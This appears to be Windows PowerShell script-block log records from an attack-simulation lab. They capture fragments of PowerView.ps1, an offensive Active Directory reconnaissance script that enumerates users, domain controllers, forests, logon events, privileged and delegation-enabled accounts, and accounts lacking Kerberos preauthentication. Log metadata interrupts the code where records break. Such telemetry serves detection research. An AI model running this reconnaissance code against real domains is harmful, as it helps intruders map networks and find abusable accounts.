Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3)) Return all logon events from the last 3 days from every domain controller in the current domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000 Return a max of 1000 logon events from the specified machine using the specified alternate credentials. .OUTPUTS PowerView.LogonEvent PowerView.ExplicitCredentialLogonEvent .LINK http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.LogonEvent')] [OutputType('PowerView.ExplicitCredentialLogonEvent')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('dnshostname', 'HostName', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = $Env:COMPUTERNAME, [ValidateNotNullOrEmpty()] [DateTime] $StartTime = [DateTime]::Now.AddDays(-1), [ValidateNotNullOrEmpty()] [DateTime] $EndTime = [DateTime]::Now, [ValidateRange(1, 1000000)] [Int] $MaxEvents = 5000, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { # the XML filter we're passing to Get-WinEvent $XPathFilter = @" <QueryList> <Query Id="0" Path="Security"> <!-- Logon events --> <Select Path="Security"> *[ System[ Provider[ @Name='Microsoft-Windows-Security-Auditing' ] and (Level=4 or Level=0) and (EventID=4624) and TimeCreated[ @SystemTime&gt;='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime&lt;='$($EndTime.ToUniversalTime().ToString('s'))' ] ] ] and *[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']] </Select> <!-- Logon with explicit credential events --> <Select Path="Security"> *[ System[ Provider[ @Name='Microsoft-Windows-Security-Auditing' ] and (Level=4 or Level=0) and (EventID=464421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666677Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local941o diff against the class schema. .PARAMETER ReferenceObject Specicifes the PowerView user/group/computer object to extract property names from to use as the reference set. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Find-DomainObjectPropertyOutlier -ClassName 'User' Enumerates users in the current domain with 'outlier' properties filled in. .EXAMPLE Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local Enumerates groups in the external.local forest/domain with 'outlier' properties filled in. .EXAMPLE Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier Enumerates computers in the current domain with 'outlier' properties filled in. .OUTPUTS PowerView.PropertyOutlier Custom PSObject with translated object property outliers. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.PropertyOutlier')] [CmdletBinding(DefaultParameterSetName = 'ClassName')] Param( [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')] [Alias('Class')] [ValidateSet('User', 'Group', 'Computer')] [String] $ClassName, [ValidateNotNullOrEmpty()] [String[]] $ReferencePropertySet, [Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')] [PSCustomObject] $ReferenceObject, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated') $GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated') $ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated') $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } # Domain / Credential if ($PSBoundParameters['Domain']) { if ($PSBoundParameters['Credential']) { $TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name } else { $TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name } Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'" } $SchemaArguments = @{} if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential } if ($TargetForest) { $SchemaArguments['Forest'] = $TargetForest } } PROCESS { if ($PSBoundParameters['ReferencePropertySet']) { Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet" $ReferenceObjectProperties = $ReferencePropertySet } elseif ($PSBoundParameters['ReferenceObject']) { Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set" $ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name $ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1 Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass" } else { Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'" } if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) { $Objects = Get-DomainUser @SearcherArguments if (-not $ReferenceObjectProperties) { $ReferenceObjectProperties = $UserReferencePropertySet } } elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) { $Objects = Get-DomainGroup @SearcherArguments if (-not $ReferenceObjectProperties) { $ReferenceObjectProperties = $GroupReferencePropertySet } } elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) { $Objects = Get-DomainComputer @SearcherArguments if (-not $ReferenceObjectProperties) { $ReferenceObjectProperties = $ComputerReferencePropertySet } } else { throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName" } ForEach ($Object in $Objects) { $ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name ForEach($ObjectProperty in $ObjectProperties) { if ($ReferenceObjectProperties -NotContains $ObjectProperty) { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName $Out | Add-Member Noteproperty 'Property' $ObjectProperty $Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty $Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier') $Out } } } } } ######################################################## # # "net *" replacements and other fun start below # ######################################################## function Get-DomainUser { <# .SYNOPSIS Return all users or specific user objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all user objects for the current domain are returned. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. Also accepts DOMAIN\user format. .PARAMETER SPN Switch. Only return user objects with non-null service principal names. .PARAMETER UACFilter Dynamic parameter that accepts one or more values from $UACEnum, including "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. .PARAMETER AdminCount Switch. Return users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER AllowDelegation Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' .PARAMETER DisallowDelegation Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation' .PARAMETER TrustedToAuth Switch. Return computer objects that are trusted to authenticate for other principals. .PARAMETER PreauthNotRequired Switch. Return user accounts with "Do not require Kerberos preauthentication" set. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainUser -Domain testlab.local Return all users for the testlab.local domain .EXAMPLE Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator" Return the user with the given SID, as well as Administrator. .EXAMPLE 'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff lastlogoff samaccountname ---------- -------------- 12/31/1600 4:00:00 PM dfm.a 12/31/1600 4:00:00 PM dfm 12/31/1600 4:00:00 PM harmj0y 12/31/1600 4:00:00 PM Administrator .EXAMPLE Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation Search the specified OU for privileged user (AdminCount = 1) that allow delegation .EXAMPLE Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon .EXAMPLE Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED Find users who doesn't require Kerberos preauthentication and DON'T have an expired password. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainUser -Credential $Cred .EXAMPLE Get-Domain | Select-Object -Expand name testlab.local Get-DomainUser dev\user1 -Verbose -Properties distinguishedname VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1))) distinguishedname ----------------- CN=user1,CN=Users,DC=dev,DC=testlab,DC=local .INPUTS String .OUTPUTS PowerView.User Custom PSObject with translated user property fields. PowerView.User.Raw The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.User')] [OutputType('PowerView.User.Raw')] [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [Switch] $SPN, [Switch] $AdminCount, [Parameter(ParameterSetName = 'AllowDelegation')] [Switch] $AllowDelegation, [Parameter(ParameterSetName = 'DisallowDelegation')] [Switch] $DisallowDelegation, [Switch] $TrustedToAuth, [Alias('KerberosPreauthNotRequired', 'NoPreauth')] [Switch] $PreauthNotRequired, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) DynamicParam { $UACValueNames = [Enum]::GetNames($UACEnum) # add in the negations $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} # create new dynamic parameter New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) } BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $UserSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { #bind dynamic parameter to a friendly variable if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters } if ($UserSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^CN=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666676Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local841ion]) { # TODO: handle multiple nested records properly? $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0] } else { $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord } if ($Record) { $Record.PSObject.Properties | ForEach-Object { $Out | Add-Member NoteProperty $_.Name $_.Value } } $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord') $Out } catch { Write-Warning "[Get-DomainDNSRecord] Error: $_" $Out } } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_" } } $DNSSearcher.dispose() } } } function Get-Domain { <# .SYNOPSIS Returns the domain object for the current (or specified) domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current domain or the domain specified with -Domain X. .PARAMETER Domain Specifies the domain name to query for, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-Domain -Domain testlab.local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-Domain -Credential $Cred .OUTPUTS System.DirectoryServices.ActiveDirectory.Domain A complex .NET domain object. .LINK http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG #> [OutputType([System.DirectoryServices.ActiveDirectory.Domain])] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { if ($PSBoundParameters['Credential']) { Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' if ($PSBoundParameters['Domain']) { $TargetDomain = $Domain } else { # if no domain is supplied, extract the logon domain from the PSCredential passed $TargetDomain = $Credential.GetNetworkCredential().Domain Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" } $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) try { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" } } elseif ($PSBoundParameters['Domain']) { $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) try { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" } } else { try { [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" } } } } function Get-DomainController { <# .SYNOPSIS Return the domain controllers for the current (or specified) domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Get-Domain .DESCRIPTION Enumerates the domain controllers for the current or specified domain. By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer to search for domain controllers. .PARAMETER Domain The domain to query for domain controllers, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER LDAP Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainController -Domain 'test.local' Determine the domain controllers for 'test.local'. .EXAMPLE Get-DomainController -Domain 'test.local' -LDAP Determine the domain controllers for 'test.local' using LDAP queries. .EXAMPLE 'test.local' | Get-DomainController Determine the domain controllers for 'test.local'. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainController -Credential $Cred .OUTPUTS PowerView.Computer Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified. System.DirectoryServices.ActiveDirectory.DomainController If -LDAP isn't specified. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.Computer')] [OutputType('System.DirectoryServices.ActiveDirectory.DomainController')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [Switch] $LDAP, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $Arguments = @{} if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) { if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server } # UAC specification for domain controllers $Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' Get-DomainComputer @Arguments } else { $FoundDomain = Get-Domain @Arguments if ($FoundDomain) { $FoundDomain.DomainControllers } } } } function Get-Forest { <# .SYNOPSIS Returns the forest object for the current (or specified) forest. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: ConvertTo-SID .DESCRIPTION Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current forest or the forest specified with -Forest X. .PARAMETER Forest The forest name to query for, defaults to the current forest. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target forest. .EXAMPLE Get-Forest -Forest external.domain .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-Forest -Credential $Cred .OUTPUTS System.Management.Automation.PSCustomObject Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition to the forest root domain SID. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.Management.Automation.PSCustomObject')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { if ($PSBoundParameters['Credential']) { Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest" if ($PSBoundParameters['Forest']) { $TargetForest = $Forest } else { # if no domain is supplied, extract the logon domain from the PSCredential passed $TargetForest = $Credential.GetNetworkCredential().Domain Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential" } $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password) try { $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) } catch { Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" $Null } } elseif ($PSBoundParameters['Forest']) { $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) try { $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) } catch { Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_" return $Null } } else { # otherwise use the current forest $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() } if ($ForestObject) { # get the SID of the forest root if ($PSBoundParameters['Credential']) { $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid } else { $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid } $Parts = $ForestSid -Split '-' $ForestSid = $Parts[0..$($Parts.length-2)] -join '-' $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid $ForestObject } } } function Get-ForestDomain { <# .SYNOPSIS Return all domains for the current (or specified) forest. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Forest .DESCRIPTION Returns all domains for the current forest or the forest specified by -Forest X. .PARAMETER Forest Specifies the forest name to query for domains. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target forest. .EXAMPLE Get-ForestDomain .EXAMPLE Get-ForestDomain -Forest external.local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-ForestDomain -Credential $Cred .OUTPUTS System.DirectoryServices.ActiveDirectory.Domain #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.DirectoryServices.ActiveDirectory.Domain')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $Arguments = @{} if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } $ForestObject = Get-Forest @Arguments if ($ForestObject) { $ForestObject.Domains } } } function Get-ForestGlobalCatalog { <# .SYNOPSIS Return all global catalogs for the current (or specified) forest. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Forest .DESCRIPTION Returns all global catalogs for the current forest or the forest specified by -Forest X by using Get-Forest to retrieve the specified forest object and the .FindAllGlobalCatalogs() to enumerate the global catalogs. .PARAMETER Forest Specifies the forest name to query for global catalogs. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-ForestGlobalCatalog .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-ForestGlobalCatalog -Credential $Cred .OUTPUTS System.DirectoryServices.ActiveDirectory.GlobalCatalog #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $Arguments = @{} if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } $ForestObject = Get-Forest @Arguments if ($ForestObject) { $ForestObject.FindAllGlobalCatalogs() } } } function Get-ForestSchemaClass { <# .SYNOPSIS Helper that returns the Active Directory schema classes for the current (or specified) forest or returns just the schema class specified by -ClassName X. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Forest .DESCRIPTION Uses Get-Forest to retrieve the current (or specified) forest. By default, the .FindAllClasses() method is executed, returning a collection of [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results. If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] result for the specified class name is returned. .PARAMETER ClassName Specifies a ActiveDirectorySchemaClass name in the found schema to return. .PARAMETER Forest The forest to query for the schema, defaults to the current forest. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-ForestSchemaClass Returns all domain schema classes for the current forest. .EXAMPLE Get-ForestSchemaClass -Forest dev.testlab.local Returns all domain schema classes for the external.local forest. .EXAMPLE Get-ForestSchemaClass -ClassName user -Forest external.local Returns the user schema class for the external.local domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred Returns the user schema class for the external.local domain using the specified alternate credentials. .OUTPUTS 